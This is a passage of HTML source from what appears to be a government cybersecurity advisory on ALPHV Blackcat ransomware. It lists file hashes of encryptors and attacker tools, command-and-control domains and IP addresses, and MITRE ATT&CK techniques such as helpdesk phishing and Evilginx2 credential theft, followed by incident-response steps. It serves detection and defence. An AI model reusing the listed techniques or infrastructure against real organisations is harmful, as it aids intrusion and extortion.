  5008. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5009. &lt;caption&gt;&lt;em&gt;Table 1: MD5 Hashes&lt;/em&gt;&lt;/caption&gt;
  5010. &lt;thead&gt;
  5011. &lt;tr&gt;
  5012. &lt;td&gt;&lt;strong&gt;MD5&lt;/strong&gt;&lt;/td&gt;
  5013. &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
  5014. &lt;td&gt;&lt;strong&gt;File Name&lt;/strong&gt;&lt;/td&gt;
  5015. &lt;/tr&gt;
  5016. &lt;/thead&gt;
  5017. &lt;tbody&gt;
  5018. &lt;tr&gt;
  5019. &lt;td&gt;
  5020. &lt;p&gt;944153fb9692634d6c70899b83676575&lt;/p&gt;
  5021. &lt;/td&gt;
  5022. &lt;td&gt;
  5023. &lt;p&gt;ALPHV Windows Encryptor&lt;/p&gt;
  5024. &lt;/td&gt;
  5025. &lt;td&gt;
  5026. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  5027. &lt;/td&gt;
  5028. &lt;/tr&gt;
  5029. &lt;tr&gt;
  5030. &lt;td&gt;
  5031. &lt;p&gt;341d43d4d5c2e526cadd88ae8da70c1c&lt;/p&gt;
  5032. &lt;/td&gt;
  5033. &lt;td&gt;
  5034. &lt;p&gt;Anti Virus Tools Killer&lt;/p&gt;
  5035. &lt;/td&gt;
  5036. &lt;td&gt;
  5037. &lt;p&gt;&lt;code&gt;363.sys&lt;/code&gt;&lt;/p&gt;
  5038. &lt;/td&gt;
  5039. &lt;/tr&gt;
  5040. &lt;tr&gt;
  5041. &lt;td&gt;
  5042. &lt;p&gt;34aac5719824e5f13b80d6fe23cbfa07&lt;/p&gt;
  5043. &lt;/td&gt;
  5044. &lt;td&gt;
  5045. &lt;p&gt;CobaltStrike BEACON&lt;/p&gt;
  5046. &lt;/td&gt;
  5047. &lt;td&gt;
  5048. &lt;p&gt;&lt;code&gt;LMtool.exe&lt;/code&gt;&lt;/p&gt;
  5049. &lt;/td&gt;
  5050. &lt;/tr&gt;
  5051. &lt;tr&gt;
  5052. &lt;td&gt;
  5053. &lt;p&gt;eea9ab1f36394769d65909f6ae81834b&lt;/p&gt;
  5054. &lt;/td&gt;
  5055. &lt;td&gt;
  5056. &lt;p&gt;CobaltStrike BEACON&lt;/p&gt;
  5057. &lt;/td&gt;
  5058. &lt;td&gt;
  5059. &lt;p&gt;&lt;code&gt;Info.exe&lt;/code&gt;&lt;/p&gt;
  5060. &lt;/td&gt;
  5061. &lt;/tr&gt;
  5062. &lt;tr&gt;
  5063. &lt;td&gt;
  5064. &lt;p&gt;379bf8c60b091974f856f08475a03b04&lt;/p&gt;
  5065. &lt;/td&gt;
  5066. &lt;td&gt;
  5067. &lt;p&gt;ALPHV Linux Encryptor&lt;/p&gt;
  5068. &lt;/td&gt;
  5069. &lt;td&gt;
  5070. &lt;p&gt;him&lt;/p&gt;
  5071. &lt;/td&gt;
  5072. &lt;/tr&gt;
  5073. &lt;tr&gt;
  5074. &lt;td&gt;
  5075. &lt;p&gt;ebca4398e949286cb7f7f6c68c28e838&lt;/p&gt;
  5076. &lt;/td&gt;
  5077. &lt;td&gt;
  5078. &lt;p&gt;SimpleHelp Remote Management tool&lt;/p&gt;
  5079. &lt;/td&gt;
  5080. &lt;td&gt;
  5081. &lt;p&gt;&lt;code&gt;first.exe&lt;/code&gt;&lt;/p&gt;
  5082. &lt;/td&gt;
  5083. &lt;/tr&gt;
  5084. &lt;tr&gt;
  5085. &lt;td&gt;
  5086. &lt;p&gt;c04c386b945ccc04627d1a885b500edf&lt;/p&gt;
  5087. &lt;/td&gt;
  5088. &lt;td&gt;
  5089. &lt;p&gt;Tunneler Tool&lt;/p&gt;
  5090. &lt;/td&gt;
  5091. &lt;td&gt;
  5092. &lt;p&gt;&lt;code&gt;conhost.exe&lt;/code&gt;&lt;/p&gt;
  5093. &lt;/td&gt;
  5094. &lt;/tr&gt;
  5095. &lt;tr&gt;
  5096. &lt;td&gt;
  5097. &lt;p&gt;824d0e31fd08220a25c06baee1044818&lt;/p&gt;
  5098. &lt;/td&gt;
  5099. &lt;td&gt;
  5100. &lt;p&gt;Anti Virus Tools Killer&lt;/p&gt;
  5101. &lt;/td&gt;
  5102. &lt;td&gt;
  5103. &lt;p&gt;&lt;code&gt;ibmModule.dll&lt;/code&gt;&lt;/p&gt;
  5104. &lt;/td&gt;
  5105. &lt;/tr&gt;
  5106. &lt;tr&gt;
  5107. &lt;td&gt;
  5108. &lt;p&gt;eea9ab1f36394769d65909f6ae81834b&lt;/p&gt;
  5109. &lt;/td&gt;
  5110. &lt;td&gt;
  5111. &lt;p&gt;CobaltStrike BEACON&lt;/p&gt;
  5112. &lt;/td&gt;
  5113. &lt;td&gt;
  5114. &lt;p&gt;ConnectivityDiagnos.exe&lt;/p&gt;
  5115. &lt;/td&gt;
  5116. &lt;/tr&gt;
  5117. &lt;tr&gt;
  5118. &lt;td&gt;
  5119. &lt;p&gt;944153fb9692634d6c70899b83676575&lt;/p&gt;
  5120. &lt;/td&gt;
  5121. &lt;td&gt;
  5122. &lt;p&gt;ALPHV Windows Encryptor&lt;/p&gt;
  5123. &lt;/td&gt;
  5124. &lt;td&gt;
  5125. &lt;p&gt;&lt;code&gt;7O3cCX9YcHMV2.exe&lt;/code&gt;&lt;/p&gt;
  5126. &lt;/td&gt;
  5127. &lt;/tr&gt;
  5128. &lt;tr&gt;
  5129. &lt;td&gt;
  5130. &lt;p&gt;61804a029e9b1753d58a6bf0274c25a6&lt;/p&gt;
  5131. &lt;/td&gt;
  5132. &lt;td&gt;
  5133. &lt;p&gt;MeshCentral Agent&lt;/p&gt;
  5134. &lt;/td&gt;
  5135. &lt;td&gt;
  5136. &lt;p&gt;&lt;code&gt;WPEHOSTSVC64.exe&lt;/code&gt;&lt;/p&gt;
  5137. &lt;/td&gt;
  5138. &lt;/tr&gt;
  5139. &lt;tr&gt;
  5140. &lt;td&gt;
  5141. &lt;p&gt;83deea3b61b6a734e7e4a566dbb6bffa&lt;/p&gt;
  5142. &lt;/td&gt;
  5143. &lt;td&gt;
  5144. &lt;p&gt;ScreenConnect &amp;amp; attacker tools installer&lt;/p&gt;
  5145. &lt;/td&gt;
  5146. &lt;td&gt;
  5147. &lt;p&gt;&lt;code&gt;deployService.exe&lt;/code&gt;&lt;/p&gt;
  5148. &lt;/td&gt;
  5149. &lt;/tr&gt;
  5150. &lt;tr&gt;
  5151. &lt;td&gt;
  5152. &lt;p&gt;8738b8637a20fa65c6e64d84d1cfe570&lt;/p&gt;
  5153. &lt;/td&gt;
  5154. &lt;td&gt;
  5155. &lt;p&gt;Suspected Proxy Tool&lt;/p&gt;
  5156. &lt;/td&gt;
  5157. &lt;td&gt;
  5158. &lt;p&gt;&lt;code&gt;socks32.exe&lt;/code&gt;&lt;/p&gt;
  5159. &lt;/td&gt;
  5160. &lt;/tr&gt;
  5161. &lt;/tbody&gt;
  5162. &lt;/table&gt;
  5163. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5164. &lt;caption&gt;&lt;em&gt;Table 2: SHA256 Hashes&lt;/em&gt;&lt;/caption&gt;
  5165. &lt;thead&gt;
  5166. &lt;tr&gt;
  5167. &lt;td&gt;&lt;strong&gt;SHA256&lt;/strong&gt;&lt;/td&gt;
  5168. &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
  5169. &lt;/tr&gt;
  5170. &lt;/thead&gt;
  5171. &lt;tbody&gt;
  5172. &lt;tr&gt;
  5173. &lt;td&gt;
  5174. &lt;p&gt;c64300cf8bacc4e42e74715edf3f8c3287a780c9c0a38b0d9675d01e7e231f16&lt;/p&gt;
  5175. &lt;/td&gt;
  5176. &lt;td&gt;
  5177. &lt;p&gt;ALPHV Windows Encryptor&lt;/p&gt;
  5178. &lt;/td&gt;
  5179. &lt;/tr&gt;
  5180. &lt;tr&gt;
  5181. &lt;td&gt;
  5182. &lt;p&gt;1f5e4e2c78451623cfbf32cf517a92253b7abfe0243297c5ddf7dd1448e460d5&lt;/p&gt;
  5183. &lt;/td&gt;
  5184. &lt;td&gt;
  5185. &lt;p&gt;Anti Virus Tools Killer&lt;/p&gt;
  5186. &lt;/td&gt;
  5187. &lt;/tr&gt;
  5188. &lt;tr&gt;
  5189. &lt;td&gt;
  5190. &lt;p&gt;3670dd4663adca40f168f3450fa9e7e84bc1a612d78830004020b73bd40fcd71&lt;/p&gt;
  5191. &lt;/td&gt;
  5192. &lt;td&gt;
  5193. &lt;p&gt;CobaltStrike BEACON&lt;/p&gt;
  5194. &lt;/td&gt;
  5195. &lt;/tr&gt;
  5196. &lt;tr&gt;
  5197. &lt;td&gt;
  5198. &lt;p&gt;af28b78c64a9effe3de0e5ccc778527428953837948d913d64dbd0fa45942021&lt;/p&gt;
  5199. &lt;/td&gt;
  5200. &lt;td&gt;
  5201. &lt;p&gt;CobaltStrike BEACON&lt;/p&gt;
  5202. &lt;/td&gt;
  5203. &lt;/tr&gt;
  5204. &lt;tr&gt;
  5205. &lt;td&gt;
  5206. &lt;p&gt;bbfe7289de6ab1f374d0bcbeecf31cad2333b0928ea883ca13b9e733b58e27b1&lt;/p&gt;
  5207. &lt;/td&gt;
  5208. &lt;td&gt;
  5209. &lt;p&gt;ALPHV Linux Encryptor&lt;/p&gt;
  5210. &lt;/td&gt;
  5211. &lt;/tr&gt;
  5212. &lt;tr&gt;
  5213. &lt;td&gt;
  5214. &lt;p&gt;5d1df950b238825a36fa6204d1a2935a5fbcfe2a5991a7fc69c74f476df67905&lt;/p&gt;
  5215. &lt;/td&gt;
  5216. &lt;td&gt;
  5217. &lt;p&gt;SimpleHelp Remote Management tool&lt;/p&gt;
  5218. &lt;/td&gt;
  5219. &lt;/tr&gt;
  5220. &lt;tr&gt;
  5221. &lt;td&gt;
  5222. &lt;p&gt;bd9edc3bf3d45e3cdf5236e8f8cd57a95ca3b41f61e4cd5c6c0404a83519058e&lt;/p&gt;
  5223. &lt;/td&gt;
  5224. &lt;td&gt;
  5225. &lt;p&gt;Tunneler Tool&lt;/p&gt;
  5226. &lt;/td&gt;
  5227. &lt;/tr&gt;
  5228. &lt;tr&gt;
  5229. &lt;td&gt;
  5230. &lt;p&gt;732e24cb5d7ab558effc6dc88854f756016352c923ff5155dcb2eece35c19bc0&lt;/p&gt;
  5231. &lt;/td&gt;
  5232. &lt;td&gt;
  5233. &lt;p&gt;Anti Virus Tools Killer&lt;/p&gt;
  5234. &lt;/td&gt;
  5235. &lt;/tr&gt;
  5236. &lt;/tbody&gt;
  5237. &lt;/table&gt;
  5238. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5239. &lt;caption&gt;&lt;em&gt;Table 3: SHA1 Hashes&lt;/em&gt;&lt;/caption&gt;
  5240. &lt;thead&gt;
  5241. &lt;tr&gt;
  5242. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;SHA1&lt;/strong&gt;&lt;/th&gt;
  5243. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  5244. &lt;/tr&gt;
  5245. &lt;/thead&gt;
  5246. &lt;tbody&gt;
  5247. &lt;tr&gt;
  5248. &lt;td&gt;
  5249. &lt;p&gt;3dd0f674526f30729bced4271e6b7eb0bb890c52&lt;/p&gt;
  5250. &lt;/td&gt;
  5251. &lt;td&gt;
  5252. &lt;p&gt;ALPHV Windows Encryptor&lt;/p&gt;
  5253. &lt;/td&gt;
  5254. &lt;/tr&gt;
  5255. &lt;tr&gt;
  5256. &lt;td&gt;
  5257. &lt;p&gt;d6d442e8b3b0aef856ac86391e4a57bcb93c19ad&lt;/p&gt;
  5258. &lt;/td&gt;
  5259. &lt;td&gt;
  5260. &lt;p&gt;Anti Virus Tools Killer&lt;/p&gt;
  5261. &lt;/td&gt;
  5262. &lt;/tr&gt;
  5263. &lt;tr&gt;
  5264. &lt;td&gt;
  5265. &lt;p&gt;6b52543e4097f7c39cc913d55c0044fcf673f6fc&lt;/p&gt;
  5266. &lt;/td&gt;
  5267. &lt;td&gt;
  5268. &lt;p&gt;CobaltStrike BEACON&lt;/p&gt;
  5269. &lt;/td&gt;
  5270. &lt;/tr&gt;
  5271. &lt;tr&gt;
  5272. &lt;td&gt;
  5273. &lt;p&gt;004ba0454feb2c4033ff0bdb2ff67388af0c41b6&lt;/p&gt;
  5274. &lt;/td&gt;
  5275. &lt;td&gt;
  5276. &lt;p&gt;CobaltStrike BEACON&lt;/p&gt;
  5277. &lt;/td&gt;
  5278. &lt;/tr&gt;
  5279. &lt;tr&gt;
  5280. &lt;td&gt;
  5281. &lt;p&gt;430bd437162d4c60227288fa6a82cde8a5f87100&lt;/p&gt;
  5282. &lt;/td&gt;
  5283. &lt;td&gt;
  5284. &lt;p&gt;SimpleHelp Remote Management tool&lt;/p&gt;
  5285. &lt;/td&gt;
  5286. &lt;/tr&gt;
  5287. &lt;tr&gt;
  5288. &lt;td&gt;
  5289. &lt;p&gt;1376ac8b5a126bb163423948bd1c7f861b4bfe32&lt;/p&gt;
  5290. &lt;/td&gt;
  5291. &lt;td&gt;
  5292. &lt;p&gt;Tunneler Tool&lt;/p&gt;
  5293. &lt;/td&gt;
  5294. &lt;/tr&gt;
  5295. &lt;tr&gt;
  5296. &lt;td&gt;
  5297. &lt;p&gt;380f941f8047904607210add4c6da2da8f8cd398&lt;/p&gt;
  5298. &lt;/td&gt;
  5299. &lt;td&gt;
  5300. &lt;p&gt;Anti Virus Tools Killer&lt;/p&gt;
  5301. &lt;/td&gt;
  5302. &lt;/tr&gt;
  5303. &lt;/tbody&gt;
  5304. &lt;/table&gt;
  5305. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5306. &lt;caption&gt;&lt;em&gt;Table 4: Network Indicators&lt;/em&gt;&lt;/caption&gt;
  5307. &lt;thead&gt;
  5308. &lt;tr&gt;
  5309. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Indicator Type&lt;/strong&gt;&lt;/th&gt;
  5310. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Network Indicator&lt;/strong&gt;&lt;/th&gt;
  5311. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  5312. &lt;/tr&gt;
  5313. &lt;/thead&gt;
  5314. &lt;tbody&gt;
  5315. &lt;tr&gt;
  5316. &lt;td&gt;
  5317. &lt;p&gt;Domain&lt;/p&gt;
  5318. &lt;/td&gt;
  5319. &lt;td&gt;
  5320. &lt;p&gt;resources.docusong[.]com&lt;/p&gt;
  5321. &lt;/td&gt;
  5322. &lt;td&gt;
  5323. &lt;p&gt;Command and Control Server&lt;/p&gt;
  5324. &lt;/td&gt;
  5325. &lt;/tr&gt;
  5326. &lt;tr&gt;
  5327. &lt;td&gt;
  5328. &lt;p&gt;Domain&lt;/p&gt;
  5329. &lt;/td&gt;
  5330. &lt;td&gt;
  5331. &lt;p&gt;Fisa99.screenconnect[.]com&lt;/p&gt;
  5332. &lt;/td&gt;
  5333. &lt;td&gt;
  5334. &lt;p&gt;ScreenConnect Remote Access&lt;/p&gt;
  5335. &lt;/td&gt;
  5336. &lt;/tr&gt;
  5337. &lt;tr&gt;
  5338. &lt;td&gt;
  5339. &lt;p&gt;IP Address&lt;/p&gt;
  5340. &lt;/td&gt;
  5341. &lt;td&gt;
  5342. &lt;p&gt;5.199.168.24&lt;/p&gt;
  5343. &lt;/td&gt;
  5344. &lt;td&gt;
  5345. &lt;p&gt;Command and Control Server&lt;/p&gt;
  5346. &lt;/td&gt;
  5347. &lt;/tr&gt;
  5348. &lt;tr&gt;
  5349. &lt;td&gt;
  5350. &lt;p&gt;IP Address&lt;/p&gt;
  5351. &lt;/td&gt;
  5352. &lt;td&gt;
  5353. &lt;p&gt;91.92.254.193&lt;/p&gt;
  5354. &lt;/td&gt;
  5355. &lt;td&gt;
  5356. &lt;p&gt;SimpleHelp Remote Access&lt;/p&gt;
  5357. &lt;/td&gt;
  5358. &lt;/tr&gt;
  5359. &lt;tr&gt;
  5360. &lt;td&gt;
  5361. &lt;p&gt;Domain&lt;/p&gt;
  5362. &lt;/td&gt;
  5363. &lt;td&gt;
  5364. &lt;p&gt;pcrendal[.]com&lt;/p&gt;
  5365. &lt;/td&gt;
  5366. &lt;td&gt;
  5367. &lt;p&gt;Command and Control Server&lt;/p&gt;
  5368. &lt;/td&gt;
  5369. &lt;/tr&gt;
  5370. &lt;tr&gt;
  5371. &lt;td&gt;
  5372. &lt;p&gt;Domain&lt;/p&gt;
  5373. &lt;/td&gt;
  5374. &lt;td&gt;
  5375. &lt;p&gt;instance-qqemas-relay[.]screenconnect[.]com&lt;/p&gt;
  5376. &lt;/td&gt;
  5377. &lt;td&gt;
  5378. &lt;p&gt;ScreenConnect Remote Access&lt;/p&gt;
  5379. &lt;/td&gt;
  5380. &lt;/tr&gt;
  5381. &lt;tr&gt;
  5382. &lt;td&gt;
  5383. &lt;p&gt;Domain&lt;/p&gt;
  5384. &lt;/td&gt;
  5385. &lt;td&gt;
  5386. &lt;p&gt;instance-rbjvws-relay.screenconnect[.]com&lt;/p&gt;
  5387. &lt;/td&gt;
  5388. &lt;td&gt;
  5389. &lt;p&gt;ScreenConnect Remote Access&lt;/p&gt;
  5390. &lt;/td&gt;
  5391. &lt;/tr&gt;
  5392. &lt;tr&gt;
  5393. &lt;td&gt;
  5394. &lt;p&gt;IP Address&lt;/p&gt;
  5395. &lt;/td&gt;
  5396. &lt;td&gt;
  5397. &lt;p&gt;5.199.168[.]233&lt;/p&gt;
  5398. &lt;/td&gt;
  5399. &lt;td&gt;
  5400. &lt;p&gt;IP Address used by Threat Actor&lt;/p&gt;
  5401. &lt;/td&gt;
  5402. &lt;/tr&gt;
  5403. &lt;tr&gt;
  5404. &lt;td&gt;
  5405. &lt;p&gt;IP Address&lt;/p&gt;
  5406. &lt;/td&gt;
  5407. &lt;td&gt;
  5408. &lt;p&gt;92.223.89[.]55&lt;/p&gt;
  5409. &lt;/td&gt;
  5410. &lt;td&gt;
  5411. &lt;p&gt;IP Address used by Threat Actor&lt;/p&gt;
  5412. &lt;/td&gt;
  5413. &lt;/tr&gt;
  5414. &lt;tr&gt;
  5415. &lt;td&gt;
  5416. &lt;p&gt;IP Address&lt;/p&gt;
  5417. &lt;/td&gt;
  5418. &lt;td&gt;
  5419. &lt;p&gt;185.195.59[.]218&lt;/p&gt;
  5420. &lt;/td&gt;
  5421. &lt;td&gt;
  5422. &lt;p&gt;IP Address used by Threat Actor&lt;/p&gt;
  5423. &lt;/td&gt;
  5424. &lt;/tr&gt;
  5425. &lt;tr&gt;
  5426. &lt;td&gt;
  5427. &lt;p&gt;IP Address&lt;/p&gt;
  5428. &lt;/td&gt;
  5429. &lt;td&gt;
  5430. &lt;p&gt;51.159.103[.]112&lt;/p&gt;
  5431. &lt;/td&gt;
  5432. &lt;td&gt;
  5433. &lt;p&gt;IP Address used by Threat Actor&lt;/p&gt;
  5434. &lt;/td&gt;
  5435. &lt;/tr&gt;
  5436. &lt;tr&gt;
  5437. &lt;td&gt;
  5438. &lt;p&gt;IP Address&lt;/p&gt;
  5439. &lt;/td&gt;
  5440. &lt;td&gt;
  5441. &lt;p&gt;45.32.141[.]168&lt;/p&gt;
  5442. &lt;/td&gt;
  5443. &lt;td&gt;
  5444. &lt;p&gt;Command and Control Server&lt;/p&gt;
  5445. &lt;/td&gt;
  5446. &lt;/tr&gt;
  5447. &lt;tr&gt;
  5448. &lt;td&gt;
  5449. &lt;p&gt;IP Address&lt;/p&gt;
  5450. &lt;/td&gt;
  5451. &lt;td&gt;
  5452. &lt;p&gt;45.77.0[.]92&lt;/p&gt;
  5453. &lt;/td&gt;
  5454. &lt;td&gt;
  5455. &lt;p&gt;Command and Control Server&lt;/p&gt;
  5456. &lt;/td&gt;
  5457. &lt;/tr&gt;
  5458. &lt;/tbody&gt;
  5459. &lt;/table&gt;
  5460. &lt;h3&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK TACTICS AND TECHNIQUES&lt;/strong&gt;&lt;/h3&gt;
  5461. &lt;p&gt;See Table 5 through Table 7 for all referenced threat actor tactics and techniques in this advisory.&lt;/p&gt;
  5462. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5463. &lt;caption&gt;&lt;em&gt;Table 5: ALPHV Blackcat/ALPHV Threat Actors ATT&amp;amp;CK Techniques - Reconnaissance&lt;/em&gt;&lt;/caption&gt;
  5464. &lt;thead&gt;
  5465. &lt;tr&gt;
  5466. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  5467. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  5468. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  5469. &lt;/tr&gt;
  5470. &lt;/thead&gt;
  5471. &lt;tbody&gt;
  5472. &lt;tr&gt;
  5473. &lt;td&gt;
  5474. &lt;p&gt;Phishing for Information&lt;/p&gt;
  5475. &lt;/td&gt;
  5476. &lt;td&gt;
  5477. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1598/" title="Phishing for Information"&gt;T1598&lt;/a&gt;&lt;/p&gt;
  5478. &lt;/td&gt;
  5479. &lt;td&gt;
  5480. &lt;p&gt;ALPHV Blackcat affiliates pose as company IT and/or helpdesk staff using phone calls or SMS messages to obtain credentials from employees to access the target network.&lt;/p&gt;
  5481. &lt;/td&gt;
  5482. &lt;/tr&gt;
  5483. &lt;/tbody&gt;
  5484. &lt;/table&gt;
  5485. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5486. &lt;caption&gt;&lt;em&gt;Table 6: ALPHV Blackcat/ALPHV Threat Actors ATT&amp;amp;CK Techniques – Resource Development&lt;/em&gt;&lt;/caption&gt;
  5487. &lt;thead&gt;
  5488. &lt;tr&gt;
  5489. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  5490. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  5491. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  5492. &lt;/tr&gt;
  5493. &lt;/thead&gt;
  5494. &lt;tbody&gt;
  5495. &lt;tr&gt;
  5496. &lt;td&gt;
  5497. &lt;p&gt;Compromise Accounts&lt;/p&gt;
  5498. &lt;/td&gt;
  5499. &lt;td&gt;
  5500. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1586/" title="Compromise Accounts"&gt;T1586&lt;/a&gt;&lt;/p&gt;
  5501. &lt;/td&gt;
  5502. &lt;td&gt;
  5503. &lt;p&gt;ALPHV Blackcat affiliates use compromised accounts to gain access to victims’ networks.&lt;/p&gt;
  5504. &lt;/td&gt;
  5505. &lt;/tr&gt;
  5506. &lt;/tbody&gt;
  5507. &lt;/table&gt;
  5508. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5509. &lt;caption&gt;&lt;em&gt;Table 7: ALPHV Blackcat/ALPHV Threat Actors ATT&amp;amp;CK Techniques – Credential Access&lt;/em&gt;&lt;/caption&gt;
  5510. &lt;thead&gt;
  5511. &lt;tr&gt;
  5512. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  5513. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  5514. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  5515. &lt;/tr&gt;
  5516. &lt;/thead&gt;
  5517. &lt;tbody&gt;
  5518. &lt;tr&gt;
  5519. &lt;td&gt;
  5520. &lt;p&gt;Obtain Credentials from Passwords Stores&lt;/p&gt;
  5521. &lt;/td&gt;
  5522. &lt;td&gt;
  5523. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1555/" title="Credentials from Password Stores"&gt;T1555&lt;/a&gt;&lt;/p&gt;
  5524. &lt;/td&gt;
  5525. &lt;td&gt;
  5526. &lt;p&gt;ALPHV Blackcat affiliates obtain passwords from local networks, deleted servers, and domain controllers.&lt;/p&gt;
  5527. &lt;/td&gt;
  5528. &lt;/tr&gt;
  5529. &lt;tr&gt;
  5530. &lt;td&gt;Steal or Force Kerberos Tickets&lt;/td&gt;
  5531. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1558/" title="Steal or Force Kerberos Tickets"&gt;T1558&lt;/a&gt;&lt;/td&gt;
  5532. &lt;td&gt;ALPHV Blackcat/ALPHV affiliates use Kerberos token generation for domain access.&lt;/td&gt;
  5533. &lt;/tr&gt;
  5534. &lt;tr&gt;
  5535. &lt;td&gt;
  5536. &lt;p&gt;Adversary-in-the-Middle&lt;/p&gt;
  5537. &lt;/td&gt;
  5538. &lt;td&gt;
  5539. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1557/" title="Adversary-in-the-Middle"&gt;T1557&lt;/a&gt;&lt;/p&gt;
  5540. &lt;/td&gt;
  5541. &lt;td&gt;
  5542. &lt;p&gt;ALPHV Blackcat/ALPHV affiliates use the open-source framework Evilginx2 to obtain MFA credentials, login credentials, and session cookies for targeted networks.&lt;/p&gt;
  5543. &lt;/td&gt;
  5544. &lt;/tr&gt;
  5545. &lt;/tbody&gt;
  5546. &lt;/table&gt;
  5547. &lt;h3&gt;&lt;strong&gt;INCIDENT RESPONSE&lt;/strong&gt;&lt;/h3&gt;
  5548. &lt;p&gt;If compromise is detected, organizations should:&lt;/p&gt;
  5549. &lt;ol&gt;
  5550. &lt;li&gt;Quarantine or take offline potentially affected hosts.&lt;/li&gt;
  5551. &lt;li&gt;Reimage compromised hosts.&lt;/li&gt;
  5552. &lt;li&gt;Provision new account credentials.&lt;/li&gt;
  5553. &lt;li&gt;Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.&lt;/li&gt;
  5554. &lt;li&gt;Report the compromise or phishing incident to CISA via CISA’s 24/7 Operations Center (&lt;a href="mailto:report@cisa.gov" title="Report to CISA"&gt;report@cisa.gov&lt;/a&gt; or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (&lt;a href="mailto:SOC@cisecurity.org" title="Report to the Center for Internet Security"&gt;SOC@cisecurity.org&lt;/a&gt; or 866-787-4722).&lt;/li&gt;
  5555. &lt;li&gt;To report spoofing or phishing attempts (or to report that you’ve been a victim), file a complaint with the FBI’s &lt;a href="https://www.ic3.gov/" title="Internet Crime Complaint Center"&gt;Internet Crime Complaint Center (IC3&lt;/a&gt;&lt;u&gt;)&lt;/u&gt;, or contact your local &lt;a href="https://www.fbi.gov/contact-us/field-offices" title="Field Offices"&gt;FBI Field Office&lt;/a&gt; to report an incident.&lt;/li&gt;
  5556. &lt;/ol&gt;
  5557. &lt;h3&gt;&lt;strong&gt;MITIGATIONS&lt;/strong&gt;&lt;/h3&gt;
  5558. &lt;p&gt;These mitigations apply to all critical infrastructure organizations and network defenders. FBI, CISA, and HHS recommend that software manufactures incorporate secure by design principles and tactics into their software development practices limiting the impact of ransomware techniques, thus, strengthening the security posture for their customers.&lt;/p&gt;
  5559. &lt;p&gt;For more information on secure by design, see CISA’s &lt;a href="https://www.cisa.gov/securebydesign" title="Secure by Design"&gt;Secure by Design&lt;/a&gt; webpage and &lt;a href="https://www.cisa.gov/resources-tools/resources/secure-by-design-and-default" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software"&gt;joint guide&lt;/a&gt;.&lt;/p&gt;
  5560. &lt;p&gt;FBI, CISA, and HHS recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on threat actor activity and to reduce the risk of compromise by ALPHV Blackcat threat actors. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" target="_blank" title="Cross-Sector Cybersecurity Performance Goals"&gt;Cross-Sector Cybersecurity Performance Goals&lt;/a&gt; for more information on the CPGs, including additional recommended baseline protections.&amp;nbsp;Due to the threat ALPHV Blackcat’s poses in the healthcare sector, healthcare organizations can look to the &lt;a href="https://hphcyber.hhs.gov/performance-goals.html" title="HPH Cybersecurity Performance Goals"&gt;Healthcare and Public Health (HPH) Sector Cybersecurity Performance Goals&lt;/a&gt; to implement cybersecurity protections against the most common threats. tactics, techniques, and procedures used against this sector.&lt;/p&gt;
  5561. &lt;ul&gt;
  5562. &lt;li&gt;Secure remote access tools by:
  5563. &lt;ul&gt;
